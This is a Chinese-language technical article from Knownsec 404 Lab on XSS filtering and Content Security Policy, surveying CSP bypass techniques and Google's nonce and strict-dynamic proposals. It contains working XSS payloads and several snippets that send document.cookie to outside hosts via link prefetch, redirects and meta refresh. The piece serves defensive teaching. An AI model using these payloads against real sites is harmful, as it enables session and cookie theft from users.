作者:LoRexxar'@知道創宇404實驗室
英文版本:http://www.bjnorthway.com/939/

0x01 前端防御的開始

對于一個基本的XSS漏洞頁面,它發生的原因往往是從用戶輸入的數據到輸出沒有有效的過濾,就比如下面的這個范例代碼。

<?php
$a = $_GET['a'];
echo $a;

對于這樣毫無過濾的頁面,我們可以使用各種方式來構造一個xss漏洞利用。

a=<script>alert(1)</script>
a=<img/src=1/onerror=alert(1)>
a=<svg/onload=alert(1)>

對于這樣的漏洞點來說,我們通常會使用htmlspecialchars函數來過濾輸入,這個函數會處理5種符號。

& (AND) => &amp;
" (雙引號) => &quot; (當ENT_NOQUOTES沒有設置的時候) 
' (單引號) => &#039; (當ENT_QUOTES設置) 
< (小于號) => &lt; 
> (大于號) => &gt; 

一般意義來說,對于上面的頁面來說,這樣的過濾可能已經足夠了,但是很多時候場景永遠比想象的更多。

<a href="{輸入點}">

<div style="{輸入點}">

<img src="{輸入點}">

<img src={輸入點}>(沒有引號)

<script>{輸入點}</script>

對于這樣的場景來說,上面的過濾已經沒有意義了,尤其輸入點在script標簽里的情況,剛才的防御方式可以說是毫無意義。

一般來說,為了能夠應對這樣的xss點,我們會使用更多的過濾方式。

首先是肯定對于符號的過濾,為了能夠應對各種情況,我們可能需要過濾下面這么多符號

% * + , – / ; < = > ^ | `

但事實上過度的過濾符號嚴重影響了用戶正常的輸入,這也是這種過濾使用非常少的原因。

大部分人都會選擇使用htmlspecialchars+黑名單的過濾方法

on\w+=
script
svg
iframe
link
…

這樣的過濾方式如果做的足夠好,看上去也沒什么問題,但回憶一下我們曾見過的那么多XSS漏洞,大多數漏洞的產生點,都是過濾函數忽略的地方。

那么,是不是有一種更底層的防御方式,可以從瀏覽器的層面來防御漏洞呢?

CSP就這樣誕生了...

0x02 CSP(Content Security Policy)

Content Security Policy (CSP)內容安全策略,是一個附加的安全層,有助于檢測并緩解某些類型的攻擊,包括跨站腳本(XSS)和數據注入攻擊。

CSP的特點就是他是在瀏覽器層面做的防護,是和同源策略同一級別,除非瀏覽器本身出現漏洞,否則不可能從機制上繞過。

CSP只允許被認可的JS塊、JS文件、CSS等解析,只允許向指定的域發起請求。

一個簡單的CSP規則可能就是下面這樣

header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");

其中的規則指令分很多種,每種指令都分管瀏覽器中請求的一部分。

每種指令都有不同的配置

簡單來說,針對不同來源,不同方式的資源加載,都有相應的加載策略。

我們可以說,如果一個站點有足夠嚴格的CSP規則,那么XSS or CSRF就可以從根源上被防止。

但事實真的是這樣嗎?

0x03 CSP Bypass

CSP可以很嚴格,嚴格到甚至和很多網站的本身都想相沖突。

為了兼容各種情況,CSP有很多松散模式來適應各種情況。

在便利開發者的同時,很多安全問題就誕生了。

CSP對前端攻擊的防御主要有兩個:

1、限制js的執行。
2、限制對不可信域的請求。

接下來的多種Bypass手段也是圍繞這兩種的。

1
header("Content-Security-Policy: default-src 'self '; script-src * ");

天才才能寫出來的CSP規則,可以加載任何域的js

<script src="http://lorexxar.cn/evil.js"></script>

隨意開火

2
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

最普通最常見的CSP規則,只允許加載當前域的js。

站內總會有上傳圖片的地方,如果我們上傳一個內容為js的圖片,圖片就在網站的當前域下了。

alert(1);//

直接加載圖片就可以了

<script src='upload/test.js'></script>
3
header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ ");

當你發現設置self并不安全的時候,可能會選擇把靜態文件的可信域限制到目錄,看上去好像沒什么問題了。

但是如果可信域內存在一個可控的重定向文件,那么CSP的目錄限制就可以被繞過。

假設static目錄下存在一個302文件

Static/302.php

<?php Header("location: ".$_GET['url'])?>

像剛才一樣,上傳一個test.jpg 然后通過302.php跳轉到upload目錄加載js就可以成功執行

<script src="static/302.php?url=upload/test.jpg">
4
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

CSP除了阻止不可信js的解析以外,還有一個功能是組織向不可信域的請求。

在上面的CSP規則下,如果我們嘗試加載外域的圖片,就會被阻止

<img src="http://lorexxar.cn/1.jpg">  ->  阻止

在CSP的演變過程中,難免就會出現了一些疏漏

<link rel="prefetch" href="http://lorexxar.cn"> (H5預加載)(only chrome)
<link rel="dns-prefetch" href="http://lorexxar.cn"> (DNS預加載)

在CSP1.0中,對于link的限制并不完整,不同瀏覽器包括chrome和firefox對CSP的支持都不完整,每個瀏覽器都維護一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP規則。

5

無論CSP有多么嚴格,但你永遠都不知道會寫出什么樣的代碼。

下面這一段是Google團隊去年一份關于CSP的報告中的一份范例代碼

// <input id="cmd" value="alert,safe string">

var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));

機緣巧合下,你寫了一段執行輸入字符串的js。

事實上,很多現代框架都有這樣的代碼,從既定的標簽中解析字符串當作js執行。

angularjs甚至有一個ng-csp標簽來完全兼容csp,在csp存在的情況下也能順利執行。

對于這種情況來說,CSP就毫無意義了

6
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

或許你的站內并沒有這種問題,但你可能會使用jsonp來跨域獲取數據,現代很流行這種方式。

但jsonp本身就是CSP的克星,jsonp本身就是處理跨域問題的,所以它一定在可信域中。

<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>

/* API response */
alert(document.domain);//{"var": "data", ...});

這樣你就可以構造任意js,即使你限制了callback只獲取\w+的數據,部分js仍然可以執行,配合一些特殊的攻擊手段和場景,仍然有危害發生。

唯一的辦法是返回類型設置為json格式。

7
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");

比起剛才的CSP規則來說,這才是最最普通的CSP規則。

unsafe-inline是處理內聯腳本的策略,當CSP中制定script-src允許內聯腳本的時候,頁面中直接添加的腳本就可以被執行了。

<script>
js code; //在unsafe-inline時可以執行
</script>

既然我們可以任意執行js了,剩下的問題就是怎么繞過對可信域的限制。

第一種辦法是通過js來生成link prefetch

var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);

這種辦法只有chrome可以用,但是意外的好用。

2 跳轉 跳轉 跳轉

在瀏覽器的機制上, 跳轉本身就是跨域行為

<script>location.href=http://lorexxar.cn?a+document.cookie</script>

<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>

<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">

通過跨域請求,我們可以把我們想要的各種信息傳出

3 跨域請求

在瀏覽器中,有很多種請求本身就是跨域請求,其中標志就是href。

var a=document.createElement("a");
a.+escape(document.cookie);
a.click();

包括表單的提交,都是跨域請求

0x04 CSP困境以及升級

在CSP正式被提出作為減輕XSS攻擊的手段之后,幾年內不斷的爆出各種各樣的問題。

2016年12月Google團隊發布了關于CSP的調研文章《CSP is Dead, Long live CSP》

https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf

Google團隊利用他們強大的搜索引擎庫,分析了超過160w臺主機的CSP部署方式,他們發現。

加載腳本最常列入白名單的有15個域,其中有14個不安全的站點,因此有75.81%的策略因為使用了了腳本白名單,允許了攻擊者繞過了CSP。總而言之,我們發現嘗試限制腳本執行的策略中有94.68%是無效的,并且99.34%具有CSP的主機制定的CSP策略對xss防御沒有任何幫助。

在paper中,Google團隊正式提出了兩種以前被提出的CSP種類。

1、nonce script CSP

header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' ");

動態的生成nonce字符串,只有包含nonce字段并字符串相等的script塊可以被執行。

<script nonce="{random-str}">alert(1)</script>

這個字符串可以在后端實現,每次請求都重新生成,這樣就可以無視哪個域是可信的,只要保證所加載的任何資源都是可信的就可以了。

<?php

Header("Content-Security-Policy: script-src 'nonce-".$random." '"");
?>
<script nonce="<?php echo $random?>">

2、strict-dynamic

header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");

SD意味著可信js生成的js代碼是可信的。

這個CSP規則主要是用來適應各種各樣的現代前端框架,通過這個規則,可以大幅度避免因為適應框架而變得松散的CSP規則。

Google團隊提出的這兩種辦法,希望通過這兩種辦法來適應各種因為前端發展而出現的CSP問題。

但攻與防的變遷永遠是交替升級的。

1、nonce script CSP Bypass

2016年12月,在Google團隊提出nonce script CSP可以作為新的CSP趨勢之后,圣誕節Sebastian Lekies提出了nonce CSP的致命缺陷。

Nonce CSP對純靜態的dom xss簡直沒有防范能力

http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

Web2.0時代的到來讓前后臺交互的情況越來越多,為了應對這種情況,現代瀏覽器都有緩存機制,但頁面中沒有修改或者不需要再次請求后臺的時候,瀏覽器就會從緩存中讀取頁面內容。

location.hash就是一個典型的例子

如果JS中存在操作location.hash導致的xss,那么這樣的攻擊請求不會經過后臺,那么nonce后的隨機值就不會刷新。

這樣的CSP Bypass方式我曾經出過ctf題目,詳情可以看

https://lorexxar.cn/2017/05/16/nonce-bypass-script/

除了最常見的location.hash,作者還提出了一個新的攻擊方式,通過CSS選擇器來讀取頁面內容。

*[attribute^="a"]{background:url("record?match=a")} 
*[attribute^="b"]{background:url("record?match=b")} 
*[attribute^="c"]{background:url("record?match=c")} [...] 

當匹配到對應的屬性,頁面就會發出相應的請求。

頁面只變化了CSS,純靜態的xss。

CSP無效。

2、strict-dynamic Bypass

2017年7月 Blackhat,Google團隊提出了全新的攻擊方式Script Gadgets。

header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");

Strict-dynamic的提出正是為了適應現代框架 但Script Gadgets正是現代框架的特性

Script Gadgets 一種類似于短標簽的東西,在現代的js框架中四處可見

For example:
Knockout.js

<div data-bind="value: 'foo'"></div>

Eval("foo")

<div data-bind="value: alert(1)"></dib>

bypass

Script Gadgets本身就是動態生成的js,所以對新型的CSP幾乎是破壞式的Bypass。

0x05 寫在最后

說了一大堆,黑名單配合CSP仍然是最靠譜的防御方式。

但,防御沒有終點...

0x06 ref


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/423/